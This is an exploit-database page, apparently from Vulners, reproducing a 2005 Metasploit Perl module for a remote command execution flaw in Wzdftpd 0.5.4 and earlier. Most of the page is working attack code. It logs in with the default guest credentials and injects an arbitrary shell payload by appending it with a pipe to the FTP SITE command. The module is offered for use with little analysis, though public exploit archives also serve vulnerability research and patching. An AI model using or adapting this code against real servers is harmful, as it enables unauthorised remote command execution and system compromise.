Lucene search
K

WzdFTPD <= 0.5.4 (SITE) Remote Command Execution Exploit (meta)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

Wzdftpd <= 0.5.4 (SITE) Remote Command Execution vulnerability in Wzdftpd via SITE comman

Code

                                                # Reference: http://www.milw0rm.com/id.php?id=1231 (kcope) /str0ke

# 
# Metasploit plugin for: Wzdftpd SITE Command Arbitrary Command Execution
# 2005 11 26 - David Maciejak
#

package Msf::Exploit::wzdftpd_site;
use base &#34;Msf::Exploit&#34;;
use strict;
use Pex::Text;

my $advanced = { };

my $info = {
	&#39;Name&#39;     =&#62; &#39;Wzdftpd SITE Command Arbitrary Command Execution&#39;,
	&#39;Version&#39;  =&#62; &#39;$Revision: 1.0 $&#39;,
	&#39;Authors&#39;  =&#62; [ &#39;David Maciejak &#60;david dot maciejak at kyxar dot fr&#62;&#39; ],
	&#39;Arch&#39;     =&#62; [ ],
	&#39;OS&#39;       =&#62; [ ],
	&#39;Priv&#39;     =&#62; 1,
	&#39;UserOpts&#39; =&#62;
	  {
		&#39;RHOST&#39;  =&#62; [1, &#39;ADDR&#39;, &#39;The target address&#39;],
		&#39;RPORT&#39;  =&#62; [1, &#39;PORT&#39;, &#39;The target port&#39;, 21],
		&#39;USER&#39;   =&#62; [1, &#39;DATA&#39;, &#39;Username&#39;, &#39;guest&#39;],
		&#39;PASS&#39;   =&#62; [1, &#39;DATA&#39;, &#39;Password&#39;, &#39;%&#39;],
		&#39;SITECMD&#39;=&#62; [1, &#39;DATA&#39;, &#39;Custom site command&#39;],
	  },

	&#39;Description&#39; =&#62; Pex::Text::Freeform(qq{
		This module exploits an arbitrary command execution vulnerability in Wzdftpd
		threw SITE command. Wzdftpd version to 0.5.4 are vulnerable.
}),
	&#39;Refs&#39; =&#62;
	  [
		[&#39;BID&#39;, &#39;14935&#39;],
	  ],

	&#39;Payload&#39; =&#62;
	  {
		&#39;Space&#39; =&#62; 128,
		&#39;Keys&#39;  =&#62; [&#39;cmd&#39;,&#39;cmd_bash&#39;],
	  },

	&#39;Keys&#39; =&#62; [&#39;wzdftpd_site&#39;],
  };

sub new {
	my $class = shift;
	my $self = $class-&#62;SUPER::new({&#39;Info&#39; =&#62; $info, &#39;Advanced&#39; =&#62; $advanced}, @_);
	return($self);
}

sub Check {
	my $self = shift;
	my $target_host = $self-&#62;GetVar(&#39;RHOST&#39;);
	my $target_port = $self-&#62;GetVar(&#39;RPORT&#39;);

	my $s = Msf::Socket::Tcp-&#62;new
	(
		&#39;PeerAddr&#39;  =&#62; $target_host, 
		&#39;PeerPort&#39;  =&#62; $target_port, 
	);
	if ($s-&#62;IsError) {
		$self-&#62;PrintLine(&#39;[*] Error creating socket: &#39; . $s-&#62;GetError);
		return $self-&#62;CheckCode(&#39;Connect&#39;);
	}
	my $res = $s-&#62;Recv(-1, 5);
	$s-&#62;Close();
    
	if (! $res) {
            $self-&#62;PrintLine(&#34;[*] No FTP banner&#34;);
            return $self-&#62;CheckCode(&#39;Unknown&#39;);
	}

	if ($res =~ /220 wzd server ready/) 
	{
		$self-&#62;PrintLine(&#34;[*] FTP Server is a wzdftpd server&#34;);
		return $self-&#62;CheckCode(&#39;Appears&#39;);
	}
	else
	{
		$self-&#62;PrintLine(&#34;[*] FTP Server is probably not vulnerable&#34;);
		return $self-&#62;CheckCode(&#39;Safe&#39;);
	}
}

sub Exploit {
	my $self = shift;
	my $target_host    = $self-&#62;GetVar(&#39;RHOST&#39;);
	my $target_port    = $self-&#62;GetVar(&#39;RPORT&#39;);
	my $custom_site_cmd=$self-&#62;GetVar(&#39;SITECMD&#39;);
	my $encodedPayload = $self-&#62;GetVar(&#39;EncodedPayload&#39;);
	my $cmd            = $encodedPayload-&#62;RawPayload;
	my $user	   = $self-&#62;GetVar(&#39;USER&#39;);
	my $pass	   = $self-&#62;GetVar(&#39;PASS&#39;);
	
	my $s = Msf::Socket::Tcp-&#62;new(
		&#39;PeerAddr&#39; =&#62; $target_host,
		&#39;PeerPort&#39; =&#62; $target_port,
	  );

	if ($s-&#62;IsError){
		$self-&#62;PrintLine(&#39;[*] Error creating socket: &#39; . $s-&#62;GetError);
		return;
	}

	$self-&#62;PrintLine(&#34;[*] Establishing a connection to the FTP server ...&#34;);

	$s-&#62;Send(&#34;USER &#34;.$user);

	my $result = $s-&#62;Recv(-1, 20);
	if (!($result=~/\d{3} User .+ okay, need password/))
	{
		$self-&#62;PrintLine(&#34;[*] Invalid user&#34;);
		return;
	}

	$s-&#62;Send(&#34;PASS &#34;.$pass);
	$result = $s-&#62;Recv(-1, 20);

	if (!($result=~/\d{3} User logged in/))
	{
		$self-&#62;PrintLine(&#34;[*] Invalid password&#34;);
		return;
	}
	
	$s-&#62;Send(&#34;SITE &#34;.$custom_site_cmd.&#34; | $cmd;&#34;);
	$result = $s-&#62;Recv(-1, 20);
	if (!($result=~/^200/))
	{
		$self-&#62;PrintLine(&#34;[*] Error: $result&#34;);
		return;
	}

	$self-&#62;PrintLine(&#39;&#39;);
	my @results = split ( /\n/, $result );
	chomp @results;
	for (my $i = 1; $i &#60; @results -1; $i++){
			$self-&#62;PrintLine(&#34;$results[$i]&#34;);
	}
	return;
}

1;

# milw0rm.com [2005-11-04]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
6.6Medium risk
Vulners AI Score6.6
12